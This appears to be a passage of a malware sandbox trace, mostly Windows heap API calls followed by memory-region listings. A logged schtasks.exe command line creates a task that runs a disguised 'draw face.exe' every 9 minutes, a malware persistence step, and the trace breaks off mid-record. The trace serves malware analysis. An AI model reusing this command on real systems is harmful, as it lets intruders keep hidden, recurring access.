[0119.983] GetProcessHeap () returned 0x1a4f4a30000 [0119.983] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34460) returned 0x20 [0119.983] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34460) returned 1 [0119.983] GetProcessHeap () returned 0x1a4f4a30000 [0119.983] GetProcessHeap () returned 0x1a4f4a30000 [0119.983] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a33fd0) returned 1 [0119.983] GetProcessHeap () returned 0x1a4f4a30000 [0119.983] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a33fd0) returned 0x20 [0119.984] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a33fd0) returned 1 [0119.984] GetProcessHeap () returned 0x1a4f4a30000 [0119.984] GetProcessHeap () returned 0x1a4f4a30000 [0119.984] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b740) returned 1 [0119.984] GetProcessHeap () returned 0x1a4f4a30000 [0119.984] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b740) returned 0x20 [0119.984] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b740) returned 1 [0119.984] GetProcessHeap () returned 0x1a4f4a30000 [0119.984] GetProcessHeap () returned 0x1a4f4a30000 [0119.984] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3a840) returned 1 [0119.984] GetProcessHeap () returned 0x1a4f4a30000 [0119.984] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3a840) returned 0xa [0119.984] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3a840) returned 1 [0119.984] GetProcessHeap () returned 0x1a4f4a30000 [0119.984] GetProcessHeap () returned 0x1a4f4a30000 [0119.984] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b680) returned 1 [0119.984] GetProcessHeap () returned 0x1a4f4a30000 [0119.984] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b680) returned 0x20 [0119.985] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b680) returned 1 [0119.985] GetProcessHeap () returned 0x1a4f4a30000 [0119.985] GetProcessHeap () returned 0x1a4f4a30000 [0119.985] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34310) returned 1 [0119.985] GetProcessHeap () returned 0x1a4f4a30000 [0119.985] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34310) returned 0x30 [0119.985] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34310) returned 1 [0119.985] GetProcessHeap () returned 0x1a4f4a30000 [0119.985] GetProcessHeap () returned 0x1a4f4a30000 [0119.985] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b7d0) returned 1 [0119.985] GetProcessHeap () returned 0x1a4f4a30000 [0119.985] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b7d0) returned 0x20 [0119.986] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b7d0) returned 1 [0119.986] GetProcessHeap () returned 0x1a4f4a30000 [0119.986] GetProcessHeap () returned 0x1a4f4a30000 [0119.986] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a33b30) returned 1 [0119.986] GetProcessHeap () returned 0x1a4f4a30000 [0119.986] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a33b30) returned 0x30 [0119.986] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a33b30) returned 1 [0119.986] GetProcessHeap () returned 0x1a4f4a30000 [0119.986] GetProcessHeap () returned 0x1a4f4a30000 [0119.986] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b3e0) returned 1 [0119.986] GetProcessHeap () returned 0x1a4f4a30000 [0119.986] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b3e0) returned 0x20 [0119.987] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b3e0) returned 1 [0119.987] GetProcessHeap () returned 0x1a4f4a30000 [0119.987] GetProcessHeap () returned 0x1a4f4a30000 [0119.987] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3ab80) returned 1 [0119.987] GetProcessHeap () returned 0x1a4f4a30000 [0119.987] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3ab80) returned 0x10 [0119.987] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3ab80) returned 1 [0119.987] GetProcessHeap () returned 0x1a4f4a30000 [0119.987] GetProcessHeap () returned 0x1a4f4a30000 [0119.987] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b8c0) returned 1 [0119.987] GetProcessHeap () returned 0x1a4f4a30000 [0119.987] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b8c0) returned 0x20 [0119.987] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b8c0) returned 1 [0119.987] GetProcessHeap () returned 0x1a4f4a30000 [0119.987] GetProcessHeap () returned 0x1a4f4a30000 [0119.987] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3aa40) returned 1 [0119.987] GetProcessHeap () returned 0x1a4f4a30000 [0119.987] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3aa40) returned 0x10 [0119.987] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3aa40) returned 1 [0119.988] GetProcessHeap () returned 0x1a4f4a30000 [0119.988] GetProcessHeap () returned 0x1a4f4a30000 [0119.988] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b5f0) returned 1 [0119.988] GetProcessHeap () returned 0x1a4f4a30000 [0119.988] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b5f0) returned 0x20 [0119.988] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b5f0) returned 1 [0119.988] GetProcessHeap () returned 0x1a4f4a30000 [0119.988] GetProcessHeap () returned 0x1a4f4a30000 [0119.988] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3a920) returned 1 [0119.988] GetProcessHeap () returned 0x1a4f4a30000 [0119.988] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3a920) returned 0xe [0119.988] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3a920) returned 1 [0119.988] GetProcessHeap () returned 0x1a4f4a30000 [0119.988] GetProcessHeap () returned 0x1a4f4a30000 [0119.988] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b470) returned 1 [0119.988] GetProcessHeap () returned 0x1a4f4a30000 [0119.988] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b470) returned 0x20 [0119.989] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b470) returned 1 [0119.989] GetProcessHeap () returned 0x1a4f4a30000 [0119.989] GetProcessHeap () returned 0x1a4f4a30000 [0119.989] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3aa80) returned 1 [0119.989] GetProcessHeap () returned 0x1a4f4a30000 [0119.989] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3aa80) returned 0x16 [0119.989] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3aa80) returned 1 [0119.989] GetProcessHeap () returned 0x1a4f4a30000 [0119.989] GetProcessHeap () returned 0x1a4f4a30000 [0119.989] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b6b0) returned 1 [0119.989] GetProcessHeap () returned 0x1a4f4a30000 [0119.989] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b6b0) returned 0x20 [0119.990] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b6b0) returned 1 [0119.990] GetProcessHeap () returned 0x1a4f4a30000 [0119.990] GetProcessHeap () returned 0x1a4f4a30000 [0119.990] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3a800) returned 1 [0119.990] GetProcessHeap () returned 0x1a4f4a30000 [0119.990] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3a800) returned 0x16 [0119.990] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3a800) returned 1 [0119.990] GetProcessHeap () returned 0x1a4f4a30000 [0119.990] GetProcessHeap () returned 0x1a4f4a30000 [0119.990] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b4d0) returned 1 [0119.990] GetProcessHeap () returned 0x1a4f4a30000 [0119.990] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b4d0) returned 0x20 [0119.990] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b4d0) returned 1 [0119.990] GetProcessHeap () returned 0x1a4f4a30000 [0119.990] GetProcessHeap () returned 0x1a4f4a30000 [0119.990] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a49ce0) returned 1 [0119.990] GetProcessHeap () returned 0x1a4f4a30000 [0119.990] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a49ce0) returned 0x82 [0119.991] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a49ce0) returned 1 [0119.991] GetProcessHeap () returned 0x1a4f4a30000 [0119.991] GetProcessHeap () returned 0x1a4f4a30000 [0119.991] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b950) returned 1 [0119.991] GetProcessHeap () returned 0x1a4f4a30000 [0119.991] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b950) returned 0x20 [0119.991] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b950) returned 1 [0119.991] GetProcessHeap () returned 0x1a4f4a30000 [0119.991] GetProcessHeap () returned 0x1a4f4a30000 [0119.991] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3a940) returned 1 [0119.991] GetProcessHeap () returned 0x1a4f4a30000 [0119.991] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3a940) returned 0xe [0119.992] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3a940) returned 1 [0119.992] GetProcessHeap () returned 0x1a4f4a30000 [0119.992] GetProcessHeap () returned 0x1a4f4a30000 [0119.992] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b4a0) returned 1 [0119.992] GetProcessHeap () returned 0x1a4f4a30000 [0119.992] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b4a0) returned 0x20 [0119.992] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b4a0) returned 1 [0119.992] GetProcessHeap () returned 0x1a4f4a30000 [0119.992] GetProcessHeap () returned 0x1a4f4a30000 [0119.992] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34410) returned 1 [0119.992] GetProcessHeap () returned 0x1a4f4a30000 [0119.992] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34410) returned 0x18 [0119.992] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34410) returned 1 [0119.992] GetProcessHeap () returned 0x1a4f4a30000 [0119.992] GetProcessHeap () returned 0x1a4f4a30000 [0119.992] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34000) returned 1 [0119.992] GetProcessHeap () returned 0x1a4f4a30000 [0119.992] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34000) returned 0x20 [0119.993] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34000) returned 1 [0119.993] GetProcessHeap () returned 0x1a4f4a30000 [0119.993] GetProcessHeap () returned 0x1a4f4a30000 [0119.993] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38a70) returned 1 [0119.993] GetProcessHeap () returned 0x1a4f4a30000 [0119.993] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38a70) returned 0x20 [0119.993] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38a70) returned 1 [0119.993] GetProcessHeap () returned 0x1a4f4a30000 [0119.993] GetProcessHeap () returned 0x1a4f4a30000 [0119.993] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38d10) returned 1 [0119.993] GetProcessHeap () returned 0x1a4f4a30000 [0119.993] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38d10) returned 0x20 [0119.994] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38d10) returned 1 [0119.994] GetProcessHeap () returned 0x1a4f4a30000 [0119.994] GetProcessHeap () returned 0x1a4f4a30000 [0119.994] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38c50) returned 1 [0119.994] GetProcessHeap () returned 0x1a4f4a30000 [0119.994] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38c50) returned 0x20 [0119.994] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38c50) returned 1 [0119.994] GetProcessHeap () returned 0x1a4f4a30000 [0119.994] GetProcessHeap () returned 0x1a4f4a30000 [0119.994] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34030) returned 1 [0119.994] GetProcessHeap () returned 0x1a4f4a30000 [0119.994] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34030) returned 0x18 [0119.994] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34030) returned 1 [0119.994] GetProcessHeap () returned 0x1a4f4a30000 [0119.994] GetProcessHeap () returned 0x1a4f4a30000 [0119.994] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38aa0) returned 1 [0119.994] GetProcessHeap () returned 0x1a4f4a30000 [0119.994] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38aa0) returned 0x20 [0119.995] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38aa0) returned 1 [0119.995] GetProcessHeap () returned 0x1a4f4a30000 [0119.995] GetProcessHeap () returned 0x1a4f4a30000 [0119.995] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38d70) returned 1 [0119.995] GetProcessHeap () returned 0x1a4f4a30000 [0119.995] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38d70) returned 0x20 [0119.995] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38d70) returned 1 [0119.995] GetProcessHeap () returned 0x1a4f4a30000 [0119.995] GetProcessHeap () returned 0x1a4f4a30000 [0119.995] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38c80) returned 1 [0119.995] GetProcessHeap () returned 0x1a4f4a30000 [0119.995] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38c80) returned 0x20 [0119.996] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38c80) returned 1 [0119.996] GetProcessHeap () returned 0x1a4f4a30000 [0119.996] GetProcessHeap () returned 0x1a4f4a30000 [0119.996] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38a40) returned 1 [0119.996] GetProcessHeap () returned 0x1a4f4a30000 [0119.996] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38a40) returned 0x20 [0119.996] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38a40) returned 1 [0119.996] GetProcessHeap () returned 0x1a4f4a30000 [0119.996] GetProcessHeap () returned 0x1a4f4a30000 [0119.996] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38d40) returned 1 [0119.996] GetProcessHeap () returned 0x1a4f4a30000 [0119.997] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38d40) returned 0x20 [0119.997] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38d40) returned 1 [0119.997] GetProcessHeap () returned 0x1a4f4a30000 [0119.997] GetProcessHeap () returned 0x1a4f4a30000 [0119.997] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34050) returned 1 [0119.997] GetProcessHeap () returned 0x1a4f4a30000 [0119.997] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34050) returned 0x18 [0119.997] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34050) returned 1 [0119.997] GetProcessHeap () returned 0x1a4f4a30000 [0119.997] GetProcessHeap () returned 0x1a4f4a30000 [0119.997] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38ad0) returned 1 [0119.997] GetProcessHeap () returned 0x1a4f4a30000 [0119.997] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38ad0) returned 0x20 [0119.997] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38ad0) returned 1 [0119.998] GetProcessHeap () returned 0x1a4f4a30000 [0119.998] GetProcessHeap () returned 0x1a4f4a30000 [0119.998] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34a50) returned 1 [0119.998] GetProcessHeap () returned 0x1a4f4a30000 [0119.998] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34a50) returned 0x18 [0119.998] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34a50) returned 1 [0119.998] exit (_Code=0) Thread: id = 161 os_tid = 0x1328 Process: id = "21" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x32e88000" os_pid = "0x1320" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"draw faced\" /sc MINUTE /mo 9 /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3073 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3074 start_va = 0x3422000000 end_va = 0x34221fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003422000000" filename = "" Region: id = 3075 start_va = 0x3422200000 end_va = 0x342227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003422200000" filename = "" Region: id = 3076 start_va = 0x16052590000 end_va = 0x160525affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016052590000" filename = "" Region: id = 3077 start_va = 0x160525b0000 end_va = 0x160525c4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000160525b0000" filename = "" Region: id = 3078 start_va = 0x160525d0000 end_va = 0x160525d3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000160525d0000" filename = "" Region: id = 3079 start_va = 0x160525e0000 end_va = 0x160525e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000160525e0000" filename = "" Region: id = 3080 start_va = 0x160525f0000 end_va = 0x160525f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000160525f0000" filename = "" Region: id = 3081 start_va = 0x7df5ff160000 end_va = 0x7ff5ff15ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff160000" filename = "" Region: id = 3082 start_va = 0x7ff684620000 end_va = 0x7ff684642fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684620000" filename = "" Region: id = 3083 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3084 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3085 start_va = 0x16052600000 end_va = 0x160527affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016052600000" filename = "" Region: id = 3086 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3087 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3089 start_va = 0x16052590000 end_va = 0x1605259ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016052590000" filename = "" Region: id = 3090 start_va = 0x7ff684520000 end_va = 0x7ff68461ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684520000" filename = "" Region: id = 3091 start_va = 0x160527b0000 end_va = 0x1605286dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3092 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3093 start_va = 0x3422280000 end_va = 0x34222fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003422280000" filename = "" Region: id = 3094 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3095 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3096 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3097 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3098 start_va = 0x16052870000 end_va = 0x160529fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016052870000" filename = "" Region: id = 3099 start_va = 0x160525a0000 end_va = 0x160525a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000160525a0000" filename = "" Region: id = 3100 start_va = 0x16052870000 end_va = 0x160529b2fff monitored = 0 entry_point = 0x16052898210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3101 start_va = 0x160529f0000 end_va = 0x160529fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000160529f0000" filename = "" Region: id = 3102 start_va = 0x16052600000 end_va = 0x16052606fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016052600000" filename = "" Region: id = 3103 start_va = 0x160526b0000 end_va = 0x160527affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000160526b0000" filename = "" Region: id = 3104 start_va = 0x16052610000 end_va = 0x16052622fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3105 start_va = 0x16052a00000 end_va = 0x16052d36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3106 start_va = 0x16052870000 end_va = 0x1605294cfff monitored = 0 entry_point = 0x160528ce0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3107 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3108 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3109 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3110 start_va = 0x16052630000 end_va = 0x16052668fff monitored = 0 entry_point = 0x160526312f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3111 start_va = 0x16052d40000 end_va = 0x16052ec7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016052d40000" filename = "" Region: id = 